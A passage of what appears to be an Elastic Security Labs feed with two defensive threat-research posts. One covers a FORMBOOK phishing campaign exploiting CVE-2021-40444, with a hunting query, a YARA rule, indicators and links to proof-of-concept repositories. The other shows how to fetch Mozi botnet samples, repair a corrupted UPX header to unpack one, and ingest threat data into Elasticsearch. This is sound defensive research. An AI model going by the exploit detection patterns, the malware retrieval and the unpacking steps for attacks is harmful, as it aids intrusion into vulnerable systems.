<li>Industrial Conglomerate, Industrial Chemicals, HQ in South Korea (Production phase)</li>
<li>Industrial Manufacturing Products and Consulting, HQ in Switzerland (Generic phase)</li>
<li>Industrial Mechanical Engineering and Manufacturing, HQ in Germany (Generic phase)</li>
</ul>
<p>While the targeted companies are of note (in that they are in the same vertical), an email address domain observed in all three phases — issratech[.]com, appears similar to a legitimate Jamaican company domain, isratech[.]com (notice the difference between one and two s's), a business that specializes in irrigation, wastewater management, and solar energy. Below, is a screenshot of issratech[.]com using the default CyberPanel landing page. CyberPanel is a web hosting tool for WordPress sites.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/formbook-adopts-cab-less-approach/issratech-landing-page.jpg" alt="Issratech landing page" /></p>
<p>Each targeted company of the admin0011[@]issratech.com email address have expertise or products that could have been valuable to an Isratch project listed on their projects page (<code>https://www.isratech[.]com/projects/</code>):</p>
<ul>
<li>Chemical: Waste-water treatment, dairy production sanitation</li>
<li>Extruded aluminum: Solar array scaffolding, greenhouses</li>
</ul>
<p>Two additional email address domains were observed in the Generic phase — one appears to be mimicking a legitimate medical equipment manufacturer (backjoy[.]com) and the other (leonei[.]com) appears to be adversary controlled, but seemingly not being used for legitimate purposes.</p>
<blockquote>
<p>leonei[.]com is protected by a Denial-of-Service protection service, so their domain IP address likely represents multiple legitimate domains and any blocking of the leonei[.]com IP address from the indicator table should be carefully measured.</p>
</blockquote>
<p>It is possible, but not confirmed, that the recipients of the phishing emails in all phases are from a list of email addresses in the manufacturing vertical. These email lists are commonly available for purchase to enable sales, marketing, and business-to-business (B2B) efforts but can also be used for phishing campaigns.</p>
<h2>Tactics</h2>
<p>Using the MITRE ATT&amp;CK® framework, tactics represent the why of a technique or sub technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<p>Observed tactics:</p>
<ul>
<li>Resource development</li>
<li>Initial access</li>
<li>Execution</li>
</ul>
<h2>Techniques / Sub techniques</h2>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<p>Observed techniques/sub techniques</p>
<ul>
<li>Acquire infrastructure - server</li>
<li>Obtain capabilities - malware and exploits</li>
<li>Stage capabilities - upload malware</li>
<li>Phishing - attachment</li>
<li>Command and scripting interpreter - PowerShell</li>
<li>Exploitation for client execution</li>
</ul>
<h2>Detections</h2>
<h3>Hunting queries</h3>
<p>These queries can be used in Kibana’s Security → Timelines → New Timeline → Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities.</p>
<p>This query will identify the CVE-2021-40444 exploit attempt from a malicious Access, Publisher, PowerPoint, or Word document.</p>
<pre><code>process where event.type in (&quot;start&quot;, &quot;process_started&quot;) and process.parent.name : (&quot;eqnedt32.exe&quot;, &quot;excel.exe&quot;, &quot;fltldr.exe&quot;, &quot;msaccess.exe&quot;, &quot;mspub.exe&quot;, &quot;powerpnt.exe&quot;, &quot;winword.exe&quot;) and process.command_line :
            (&quot;*../../..*&quot;,
            &quot;*..\\..\\*&quot;,
            &quot;*cpl:..*&quot;,
            &quot;*hta:..*&quot;,
            &quot;*js:..*&quot;,
            &quot;*jse:..*&quot;,
            &quot;*sct:..*&quot;,
            &quot;*vbs:..*&quot;,
            &quot;*wsf:..*&quot;)
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/formbook-adopts-cab-less-approach/hunt-query-identifies-cve-2021-40444-exploit-using-timelines.jpg" alt="Hunt query identifies CVE-2021-40444 exploit using Timelines" /></p>
<h3>YARA rule</h3>
<p>We have created a YARA rule to identify this FORMBOOK activity.</p>
<pre><code>rule Windows_Trojan_FORMBOOK {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2021-06-14&quot;
        last_modified = &quot;2021-08-23&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;FORMBOOK&quot;
        threat_name = &quot;Windows.Trojan.FORMBOOK&quot;
        reference_sample = &quot;6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a&quot;
    strings:
        $a1 = { 3C 30 50 4F 53 54 74 09 40 }
        $a2 = { 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 }
        $a3 = { 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 }
        $a4 = { 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83 }
    condition:
        any of them
}
</code></pre>
<h2>Defensive Recommendations</h2>
<p>The following steps can be leveraged to improve a network’s protective posture:</p>
<ol>
<li>Review and implement the above detection logic within your environment using technology such as Sysmon and the Elastic Endpoint or Winlogbeat</li>
<li>Review and ensure that you have deployed the latest Microsoft Security Updates</li>
<li>Maintain backups of your critical systems to aid in quick recovery</li>
</ol>
<h2>References</h2>
<p>The following research was referenced throughout the document:</p>
<ul>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-40444">https://nvd.nist.gov/vuln/detail/CVE-2021-40444</a></li>
<li><a href="https://twitter.com/vxunderground/status/1436326057179860992?s=20">https://twitter.com/vxunderground/status/1436326057179860992?s=20</a></li>
<li><a href="https://github.com/lockedbyte/CVE-2021-40444">https://github.com/lockedbyte/CVE-2021-40444</a></li>
<li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444</a></li>
<li><a href="https://github.com/aslitsecurity/CVE-2021-40444_builders">https://github.com/aslitsecurity/CVE-2021-40444_builders</a></li>
<li><a href="https://github.com/klezVirus/CVE-2021-40444">https://github.com/klezVirus/CVE-2021-40444</a></li>
<li><a href="https://kentosec.com/2021/09/12/cve-2021-40444-poc-demonstration/">https://kentosec.com/2021/09/12/cve-2021-40444-poc-demonstration/</a></li>
<li><a href="https://github.com/Edubr2020/CVE-2021-40444--CABless">https://github.com/Edubr2020/CVE-2021-40444–CABless</a></li>
<li><a href="https://twitter.com/vxunderground/status/1436326057179860992?s=20">https://twitter.com/vxunderground/status/1436326057179860992?s=20</a></li>
<li><a href="https://www.fortinet.com/blog/threat-research/deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I">https://www.fortinet.com/blog/threat-research/deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I</a></li>
</ul>
<h2>Indicators</h2>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
<th>Reference from blog</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>70defbb4b846868ba5c74a526405f2271ab71de01b24fbe2d6db2c7035f8a7df</td>
<td>SHA256</td>
<td>Request Document.docx</td>
<td>Testing phase email attachment</td>
</tr>
<tr>
<td>7c98db2063c96082021708472e1afb81f3e54fe6a4a8b8516e22b3746e65433b</td>
<td>SHA256</td>
<td>comres.cab</td>
<td>Testing phase CAB archive</td>
</tr>
<tr>
<td>363837d5c41ea6b2ff6f6184d817c704e0dc5749e45968a3bc4e45ad5cf028d7</td>
<td>SHA256</td>
<td>1.doc.inf</td>
<td>Testing phase VMProtect DLL</td>
</tr>
<tr>
<td>22cffbcad42363841d01cc7fef290511c0531aa2b4c9ca33656cc4aef315e723</td>
<td>SHA256</td>
<td>IEcache.inf</td>
<td>Testing phase DLL loader</td>
</tr>
<tr>
<td>e2ab6aab7e79a2b46232af87fcf3393a4fd8c4c5a207f06fd63846a75e190992</td>
<td>SHA256</td>
<td>Pope.txt</td>
<td>Testing phase JavaScript</td>
</tr>
<tr>
<td>170eaccdac3c2d6e1777c38d61742ad531d6adbef3b8b031ebbbd6bc89b9add6</td>
<td>SHA256</td>
<td>Profile.rar</td>
<td>Production phase email attachment</td>
</tr>
<tr>
<td>d346b50bf9df7db09363b9227874b8a3c4aafd6648d813e2c59c36b9b4c3fa72</td>
<td>SHA256</td>
<td>document.docx</td>
<td>Production phase compressed document</td>
</tr>
<tr>
<td>776df245d497af81c0e57fb7ef763c8b08a623ea044da9d79aa3b381192f70e2</td>
<td>SHA256</td>
<td>abb01.exe</td>
<td>Production phase dropper</td>
</tr>
<tr>
<td>95e03836d604737f092d5534e68216f7c3ef82f529b5980e3145266d42392a82</td>
<td>SHA256</td>
<td>Profile.html</td>
<td>Production phase JavaScript</td>
</tr>
<tr>
<td>bd1c1900ac1a6c7a9f52034618fed74b93acbc33332890e7d738a1d90cbc2126</td>
<td>SHA256</td>
<td>yxojzzvhi0.exe</td>
<td>FORMBOOK malware</td>
</tr>
<tr>
<td>0c560d0a7f18b46f9d750e24667721ee123ddd8379246dde968270df1f823881</td>
<td>SHA256</td>
<td>DWG.rar</td>
<td>Generic phase email attachment</td>
</tr>
<tr>
<td>5a1ef64e27a8a77b13229b684c09b45a521fd6d4a16fdb843044945f12bb20e1</td>
<td>SHA256</td>
<td>D2110-095.gz</td>
<td>Generic phase email attachment</td>
</tr>
<tr>
<td>4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096</td>
<td>SHA256</td>
<td>D2110-095.exe DWG.exe</td>
<td>FORMBOOK malware</td>
</tr>
<tr>
<td>admin0011[@]issratech.com</td>
<td>email-addr</td>
<td></td>
<td>Phishing sending email address</td>
</tr>
<tr>
<td>admin010[@]backsjoy.com</td>
<td>email-addr</td>
<td></td>
<td>Phishing sending email address</td>
</tr>
<tr>
<td>admin012[@]leoeni.com</td>
<td>email-addr</td>
<td></td>
<td>Phishing sending email address</td>
</tr>
<tr>
<td>issratech[.]com</td>
<td>domain-name</td>
<td></td>
<td>Adversary controlled domain</td>
</tr>
<tr>
<td>backsjoy[.]com</td>
<td>domain-name</td>
<td></td>
<td>Adversary controlled domain</td>
</tr>
<tr>
<td>leonei[.]com</td>
<td>domain-name</td>
<td></td>
<td>Adversary controlled domain</td>
</tr>
<tr>
<td>2[.]56[.]59[.]105</td>
<td>ipv4-addr</td>
<td></td>
<td>IP address of issratech[.]com</td>
</tr>
<tr>
<td>212[.]192[.]241[.]173</td>
<td>ipv4-addr</td>
<td></td>
<td>IP address of backsjoy[.]com</td>
</tr>
<tr>
<td>52[.]128[.]23[.]153</td>
<td>ipv4-addr</td>
<td></td>
<td>IP address of leonei[.]com</td>
</tr>
<tr>
<td>104[.]244[.]78[.]177</td>
<td>ipv4-addr</td>
<td></td>
<td>Adversary controlled IP address</td>
</tr>
</tbody>
</table>
<h2>Artifacts</h2>
<p>Artifacts are also available for <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt4f6fe2c619b93195/628e88d930bc9653db3af066/formbook-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/formbook-adopts-cab-less-approach/blog-security-laptop-720x420.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Collecting and operationalizing threat data from the Mozi botnet]]></title>
            <link>https://www.elastic.co/pt/security-labs/collecting-and-operationalizing-threat-data-from-the-mozi-botnet</link>
            <guid>collecting-and-operationalizing-threat-data-from-the-mozi-botnet</guid>
            <pubDate>Thu, 02 Jun 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[The Mozi botnet is an ongoing malware campaign targeting unsecured and vulnerable networking devices. This post will showcase the analyst journey of collecting, analyzing, and operationalizing threat data from the Mozi botnet.]]></description>
            <content:encoded><![CDATA[<p>Detecting and preventing malicious activity such as botnet attacks is a critical area of focus for threat intel analysts, security operators, and threat hunters. Taking up the Mozi botnet as a case study, this blog post demonstrates how to use open source tools, analytical processes, and the Elastic Stack to perform analysis and enrichment of collected data irrespective of the campaign. This will allow you to take the lessons and processes outlined below to your organization and apply them to your specific use cases.</p>
<p>The Mozi botnet has been leveraging vulnerable Internet of Things (IoT) devices to launch campaigns that can take advantage of the force multiplication provided by a botnet (Distributed Denial of Service (DDoS), email spam, brute-force, password spraying, etc.). Mozi was <a href="https://blog.netlab.360.com/mozi-another-botnet-using-dht/">first reported</a> by the research team at 360Netlab in December 2019 and has continued to make up a large portion of IoT network activity across the Internet-at-large.</p>
<p>As reported by 360Netlab, the botnet spreads via the use of weak and default remote access passwords for targeted devices as well as through multiple public exploits. The Mozi botnet communicates using a Distributed Hash Table (DHT) which records the contact information for other nodes in the botnet. This is the same serverless mechanism used by file sharing peer-to-peer (P2P) clients. Once the malware has accessed a vulnerable device, it executes the payload and subsequently joins the Mozi P2P network. The newly infected device listens for commands from controller nodes and also attempts to infect other vulnerable devices.</p>
<p>Mozi targets multiple IoT devices and systems, mainly focused on Small Office Home Office (SOHO) networking devices, Internet-connected audio visual systems, and theoretically any 32-bit ARM device.</p>
<h2>Collection</h2>
<p>When performing data analysis, the more data that you have, the better. Analysis of malware campaigns are no different. With a paid subscription to VirusTotal, you can collect huge amounts of data for analysis, but we wanted an approach for independent researchers or smaller organizations that may not have this premium service. To do that, we decided to keep to our roots at Elastic and leverage open source datasets to avoid a paywall that could prevent others from using our processes.</p>
<p>To begin, we started with a handful of <a href="https://threatfox.abuse.ch/browse.php?search=tag%3Amozi">Mozi samples</a> collected from <a href="https://threatfox.abuse.ch/">ThreatFox</a>. ThreatFox is an open source platform from <a href="https://abuse.ch">Abuse.ch</a> with the goal of sharing malware indicators with the security research community.</p>
<p>Using cURL, we queried the ThreatFox API for the Mozi tag. This returned back JSON documents with information about the malware sample, based on the tagged information.</p>
<pre><code>curl -X POST https://threatfox-api.abuse.ch/api/v1/ -d '{ &quot;query&quot;: &quot;taginfo&quot;, &quot;tag&quot;: &quot;Mozi&quot;, &quot;limit&quot;: 1 }'
</code></pre>
<p><em>Code block 1 - cURL request to ThreatFox API</em></p>
<ul>
<li>-X POST - change the cURL HTTP method from GET (default) to POST as we’re going to be sending data to the ThreatFox API</li>
<li><code>https://threatfox-api.abuse.ch/api/v1/</code> - this is the ThreatFox API endpoint</li>
<li>-d - this is denoting that we’re going to be sending data</li>
<li>query: taginfo - the type of query that we’re making, taginfo in our example</li>
<li>tag: Mozi - the tag that we’ll be searching for, “Mozi” in our example</li>
<li>limit: 1 - the number of results to return, 1 result in our example, but you can return up to 1000 results</li>
</ul>
<p>This returned the following information:</p>
<pre><code>{
    &quot;query_status&quot;: &quot;ok&quot;,
    &quot;data&quot;: [
        {
            &quot;id&quot;: &quot;115772&quot;,
            &quot;ioc&quot;: &quot;nnn.nnn.nnn.nnn:53822&quot;,
            &quot;threat_type&quot;: &quot;botnet_cc&quot;,
            &quot;threat_type_desc&quot;: &quot;Indicator that identifies a botnet command&amp;control server (C&amp;C)&quot;,
            &quot;ioc_type&quot;: &quot;ip:port&quot;,
            &quot;ioc_type_desc&quot;: &quot;ip:port combination that is used for botnet Command&amp;control (C&amp;C)&quot;,
            &quot;malware&quot;: &quot;elf.mozi&quot;,
            &quot;malware_printable&quot;: &quot;Mozi&quot;,
            &quot;malware_alias&quot;: null,
            &quot;malware_malpedia&quot;: &quot;https:\/\/malpedia.caad.fkie.fraunhofer.de\/details\/elf.mozi&quot;,
            &quot;confidence_level&quot;: 75,
            &quot;first_seen&quot;: &quot;2021-06-15 08:22:52 UTC&quot;,
            &quot;last_seen&quot;: null,
            &quot;reference&quot;: &quot;https:\/\/bazaar.abuse.ch\/sample\/832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b\/&quot;,
            &quot;reporter&quot;: &quot;abuse_ch&quot;,
            &quot;tags&quot;: [
                &quot;Mozi&quot;
            ]
        }
    ]
</code></pre>
<p><em>Code block 2 - Response from ThreatFox API</em></p>
<p>Now that we have the file hashes of several samples, we can download the samples using the Malware Bazaar API. Malware Bazaar is another open source platform provided by Abuse.ch. While ThreatFox is used to share contextual information about indicators, Malware Bazaar allows for the actual collection of malware samples (among other capabilities).</p>
<p>Just like with ThreatFox, we’ll use cURL to interact with the Malware Bazaar API, but this time to download the actual malware samples. Of note, the Malware Bazaar API can be used to search for samples using a tag (“Mozi”, in our example), similar to how we used the ThreatFox API. The difference is that the ThreatFox API returns network indicators that we’ll use later on for data enrichment.</p>
<pre><code>curl -X POST https://mb-api.abuse.ch/api/v1 -d 'query=get_file&amp;sha256_hash=832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b' -o 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw
</code></pre>
<p><em>Code block 3 - cURL request to Malware Bazaar API</em></p>
<ul>
<li>-X POST - change the cURL HTTP method from GET (default) to POST as we’re going to be sending data to the Malware Bazaar API</li>
<li><code>https://mb-api.abuse.ch/api/v1</code> - this is the Malware Bazaar API endpoint</li>
<li>-d - this is denoting that we’re going to be sending data</li>
<li>query: get_file - the type of query that we’re making, get_file in our example</li>
<li>sha256_hash - the SHA256 hash we’re going to be collecting, “832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b” in our example</li>
<li>-o - the file name we’re going to save the binary as</li>
</ul>
<p>This will save a file locally named 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw. We want to make a raw file that we’ll not modify so that we always have an original sample for archival purposes. This downloads the file as a Zip archive. The passphrase to extract the archive is infected. This will create a local file named 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.elf. Going forward, we’ll use a shorter name for this file, truncated-87d3b.elf, for readability.</p>
<h3>Unpacking</h3>
<p>Now that we have a few samples to work with we can look at ripping out strings for further analysis. Once in our analysis VM we took a stab at running <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/strings">Sysinternals Strings</a> over our sample:</p>
<pre><code>$ strings truncated-87d3b.elf
ELF
*UPX!
ELF
$Bw
(GT
...
</code></pre>
<p><em>Code block 3 - Strings output from the packed Mozi sample</em></p>
<p>Right away we see that we have a <a href="https://upx.github.io/">UPX</a> packed ELF binary from the “ELF” and “UPX!” text. UPX is a compression tool for executable files, commonly known as “packing”. So the next logical step is to decompress the ELF file with the UPX program. To do that, we’ll run upx with the -d switch.</p>
<pre><code>$ upx -d truncated-87d3b.elf
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96w Markus Oberhumer, Laszlo Molnar &amp; John Reiser Jan 23rd 2020
        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx.exe : upx: truncated-87d3b.elf : CantUnpackException: p_info corrupted
</code></pre>
<p><em>Code block 4 - UPX output from corrupted Mozi sample</em></p>
<p>Another road-block: the p_info section of the file appears to be corrupted. p_info is the sum of two sections from a file, p_blocksize and p_filesize . After a quick search for the error message, we landed on a <a href="https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/">CUJOAI Anti-Unpacking blog</a> explaining the header corruptions commonly used in IoT malware to disrupt automated analysis tools.</p>
<p>Using this information, we cracked open our binary in <a href="https://linux.die.net/man/1/xxd">xxd</a>, a HEX dumper, to see which corruption we were dealing with. As described in the CUJOAI blog, the p_info blocks represent the sum of the p_filesize blocks and the p_blocksize blocks. This section begins with the 8 bytes after the UPX! text, and has been overwritten with zeros (the 8 bytes starting at 0x84 ).</p>
<pre><code>$ xxd truncated-87d3b.elf
00000000: 7f45 4c46 0101 0161 0000 0000 0000 0000  .ELF...a........
00000010: 0200 2800 0100 0000 1057 0200 3400 0000  ..(......W..4...
00000020: 0000 0000 0202 0000 3400 2000 0200 2800  ........4. ...(.
00000030: 0000 0000 0100 0000 0000 0000 0080 0000  ................
00000040: 0080 0000 0de0 0100 0de0 0100 0500 0000  ................
00000050: 0080 0000 0100 0000 b07a 0000 b0fa 0600  .........z......
00000060: b0fa 0600 0000 0000 0000 0000 0600 0000  ................
00000070: 0080 0000 10f1 8f52 5550 5821 1c09 0d17  .......RUPX!....
00000080: 0000 0000 0000 0000 0000 0000 9400 0000  ................
00000090: 5e00 0000 0300 0000 f97f 454c 4601 7261  ^.........ELF.ra
000000a0: 000f 0200 28dd 0001 0790 b681 0334 ee07  ....(........4..
000000b0: ec28 04db 1302 0bfb 2000 031b be0a 0009  .(...... .......
...
</code></pre>
<p><em>Code block 5 - HEX view of the corrupted Mozi sample</em></p>
<p>The CUJOAI blog states that if you manually update the values of the p_filesize blocks and the p_blocksize blocks with the value of the p_info, this will fix the corruption issue. Below we can see the p_info section in HEX, and we can use that to manually update the p_filesize and p_blocksize sections, which will allow us to unpack the binary (the 4 bytes starting at 0x1e110).</p>
<pre><code>$ xxd truncated-87d3b.elf
...
0001e0c0: 1914 a614 c998 885d 39ec 4727 1eac 2805  .......]9.G'..(.
0001e0d0: e603 19f6 04d2 0127 52c9 9b60 00be 273e  .......'R..`..'&gt;
0001e0e0: c00f 5831 6000 0000 0000 90ff 0000 0000  ..X1`...........
0001e0f0: 5550 5821 0000 0000 5550 5821 0d17 0308  UPX!....UPX!....
0001e100: 5199 6237 591c 321c d001 0000 b800 0000  Q.b7Y.2.........
0001e110: 7c2a 0400 5000 0011 8000 0000            |*..P.......
</code></pre>
<p><em>Code block 6 - p_info HEX data from the corrupted Mozi sample</em></p>
<p>First, let’s open the file with Vim. As we can see, it is just a UPX file as denoted by the UPX!.</p>
<pre><code>$ vim truncated-87d3b.elf
^?ELF^A^A^Aa^@^@^@^@^@^@^@^@^B^@(^@^A^@^@^@^PW^B^@4^@^@^@^@^@^@^@^B^B^@^@4^@ ^@^B^@(^@^@^@^@^@^A^@^@^@^@^@^@^@^@&lt;80&gt;^@^@^@&lt;80&gt;^@^@^Mà^A^@^Mà^A^@^E^@^@^@^@&lt;80&gt;^@^@^A^@^@^@°z^@^@°ú^F^@°ú^F^@^@^@^@^@^@^@^@^@^F^@^@^@^@&lt;80&gt;^@^@^Pñ&lt;8f&gt;RUPX!^\
</code></pre>
<p><em>Code block 7 - Corrupted Mozi sample in Vim</em></p>
<p>Using the xxd plugin for Vim, we can convert this to HEX so that we can make our modifications. This is achieved by typing :%!xxd, which will show us the HEX output for the file.</p>
<pre><code>00000000: 7f45 4c46 0101 0161 0000 0000 0000 0000  .ELF...a........
00000010: 0200 2800 0100 0000 1057 0200 3400 0000  ..(......W..4...
00000020: 0000 0000 0202 0000 3400 2000 0200 2800  ........4. ...(.
00000030: 0000 0000 0100 0000 0000 0000 0080 0000  ................
00000040: 0080 0000 0de0 0100 0de0 0100 0500 0000  ................
00000050: 0080 0000 0100 0000 b07a 0000 b0fa 0600  .........z......
00000060: b0fa 0600 0000 0000 0000 0000 0600 0000  ................
00000070: 0080 0000 10f1 8f52 5550 5821 1c09 0d17  .......RUPX!....
00000080: 0000 0000 0000 0000 0000 0000 9400 0000  ................
00000090: 5e00 0000 0300 0000 f97f 454c 4601 7261  ^.........ELF.ra
000000a0: 000f 0200 28dd 0001 0790 b681 0334 ee07  ....(........4..
000000b0: ec28 04db 1302 0bfb 2000 031b be0a 0009  .(...... .......
</code></pre>
<p><em>Code block 8 - Corrupted Mozi sample in Vim with XXD plugin</em></p>
<p>Next, we can just update bytes 0x84 - 0x8b(that we identified as having the zero’d out p_filesize and p_blocksize) with the HEX value for p_info (7c2a 0400).</p>
<pre><code>00000080: 0000 0000 7c2a 0400 7c2a 0400 9400 0000  ....|*..|*......
</code></pre>
<p><em>Code block 9 - Updated p_filesize and p_blocksize HEX values</em></p>
<p>Let’s reset the file back using :%!xxd -r, save the file and exit Vim (:wq).</p>
<p>Finally, let’s try to unpack the file now that we’ve manually adjusted the HEX values.</p>
<pre><code>$ upx -d truncated-87d3b.elf
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Jan 23rd 2020
        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    273020 &lt;-    123165   45.11%    linux/arm    truncated-87d3b.elf
Unpacked 1 file.
</code></pre>
<p><em>Code block 10 - Successfully unpacked Mozi sample</em></p>
<p>We now have successfully unpacked the file. Let’s check to see what kind of file this is now by using the file command.</p>
<pre><code>$ file truncated-87d3b.elf
truncated-87d3b.elf: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
</code></pre>
<p><em>Code block 11 - File type identification of the Mozi sample</em></p>
<p>Now, we can again use the strings command to see if there is any useful information that we can use (truncated for readability).</p>
<pre><code>$ strings truncated-87d3b.elf
...
iptables -I OUTPUT -p udp --source-port %d -j ACCEPT
iptables -I PREROUTING  -t nat -p udp --destination-port %d -j ACCEPT
iptables -I POSTROUTING -t nat -p udp --source-port %d -j ACCEPT
iptables -I INPUT  -p udp --dport %d -j ACCEPT
iptables -I OUTPUT -p udp --sport %d -j ACCEPT
iptables -I PREROUTING  -t nat -p udp --dport %d -j ACCEPT
iptables -I POSTROUTING -t nat -p udp --sport %d -j ACCEPT
0.0.0.0
[idp]
This node doesn't accept announces
v2s
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881
nnn.nnn.nnn.nnn:6881
abc.abc.abc.abc:6881
xxx.xxx.xxx.xxx:6881
yyy.yyy.yyy.yyy:6881
NfZ
Oo~Mn
g5=
N]%
Range: bytes=
User-Agent:
...
</code></pre>
<p><em>Code block 12 - Strings output from the unpacked Mozi sample</em></p>
<p>Running Strings, we can see, among other things, network indicators and changes to the local firewall, iptables. There is a lot of great information in this file that we can now review which can be used to search for infected devices.</p>
<p>Next, let’s enrich the ThreatFox data, store it in Elasticsearch, and visualize it with Kibana.</p>
<h2>Storing threat data in the Elastic Stack</h2>
<p>Looking at what we’ve collected so far, we have rich threat data provided by ThreatFox that includes both network and file information. Additionally, we have actual malware samples collected from Malware Bazaar. Finally, we have performed static file analysis on the malware to identify additional indicators that could be of use.</p>
<p>For the next steps, we’re going to parse the data from ThreatFox and store that in the Elastic Stack so that we can leverage Kibana to visualize data to identify clusters of activity.</p>
<h2>Create the Ingest Node Pipeline</h2>
<p>We're going to create an Ingest Node Pipeline to transform the data from ThreatFox into enriched Elasticsearch data. When making a pipeline, it's useful to make a table to lay out what we're going to do.</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>ThreatFox field</td>
<td>ECS-style field</td>
</tr>
<tr>
<td>id</td>
<td>event.id</td>
</tr>
<tr>
<td>ioc</td>
<td>threat.indicator.ip and threat.indicator.port</td>
</tr>
<tr>
<td>threat_type</td>
<td>threat.software.type</td>
</tr>
<tr>
<td>threat_type_desc</td>
<td>threat.indicator.description</td>
</tr>
<tr>
<td>ioc_type</td>
<td>threat.indicator.type. Set threat.indicator.type to &quot;ipv4-addr&quot;</td>
</tr>
<tr>
<td>malware</td>
<td>threat.software.name</td>
</tr>
<tr>
<td>malware_printable</td>
<td>threat.threatfox.malware_printable</td>
</tr>
<tr>
<td>malware_alias</td>
<td>threat.software.alias (if non-null)</td>
</tr>
<tr>
<td>malware_malpedia</td>
<td>threat.software.reference</td>
</tr>
<tr>
<td>confidence_level</td>
<td>threat.indicator.confidence</td>
</tr>
<tr>
<td>first_seen</td>
<td>threat.indicator.first_seen</td>
</tr>
<tr>
<td>last_seen</td>
<td>threat.indicator.last_seen</td>
</tr>
<tr>
<td>reference</td>
<td>event.reference</td>
</tr>
<tr>
<td>reporter</td>
<td>event.provider</td>
</tr>
<tr>
<td>tags</td>
<td>tags</td>
</tr>
<tr>
<td><code>&lt;enrichment&gt;</code></td>
<td>threat.indicator.geo. Enriched by our geoip processor.</td>
</tr>
<tr>
<td><code>&lt;parsed-sha256&gt;</code></td>
<td>file.hash.sha256 and related.hash</td>
</tr>
<tr>
<td><code>&lt;copy threat.indicator.ip&gt;</code></td>
<td>related.ip</td>
</tr>
</tbody>
</table>
<p><em>Table 1 - Elasticsearch Ingest Node Pipeline for ThreatFox data</em></p>
<p>To create the pipeline, go to <strong>Kibana Stack Management</strong> -&gt; <strong>Ingest Node Pipelines</strong> , then click <strong>Create pipeline</strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-and-operationalizing-threat-data-from-the-mozi-botnet/blog-mozi-botnet-1.jpg" alt="Figure 1 - Creating Ingest Node Pipeline for ThreatFox data" /></p>
<p>Next, we’ll give our pipeline a name, optionally a version, and a description.</p>
<p>From this view you can manually add processors and configure them to your liking. To give you a head start, we've provided the <a href="https://github.com/elastic/examples/blob/master/blog/mozin-about/ingest-node-pipeline.json">ThreatFox pipeline definition here</a> you can paste in.</p>
<p>Click <strong>Import processors</strong> and paste the contents of this pipeline definition: <a href="https://github.com/elastic/examples/blob/master/blog/mozin-about/ingest-node-pipeline.json">pipeline.json</a>.</p>
<p>When you click <strong>Load and overwrite</strong> , you'll have each processor listed there as we've configured it. From here you can tweak it to your needs, or just scroll down and click <strong>Create pipeline</strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/collecting-and-operationalizing-threat-data-from-the-mozi-botnet/blog-mozi-botnet-2.jpg" alt="Figure 2 - Ingest Node Processors for ThreatFox data" /></p>
<p>Alternatively, if you’d like to use a turnkey approach, the <a href="https://github.com/elastic/examples/blob/master/blog/mozin-about/collection.sh">collection.sh</a> script will allow you to collect the ThreatFox Mozi data, create the Elasticsearch ingest pipeline, the indicators Index, the Index Pattern, and send the data from ThreatFox directly into Elasticsearch.</p>
<pre><code>$ git clone https://github.com/elastic/examples
$ cd examples/blog/mozin-about
$ sh collection.sh
</code></pre>
<p><em>Code block 13 - Using the Mozi sample collection script</em></p>
<p>Using the provided collection script, we can see the Threat Fox data is converted into the Elastic Common Schema (ECS) and sent to Elasticsearch for analysis.</p>
&lt;Video vidyard_uuid=&quot;hUokXLAUFJ7Tvp6mDQR6qH&quot; /&gt;
<p><em>Figure 3 - ThreatFox data in Kibana</em></p>
<h2>Analysis</h2>
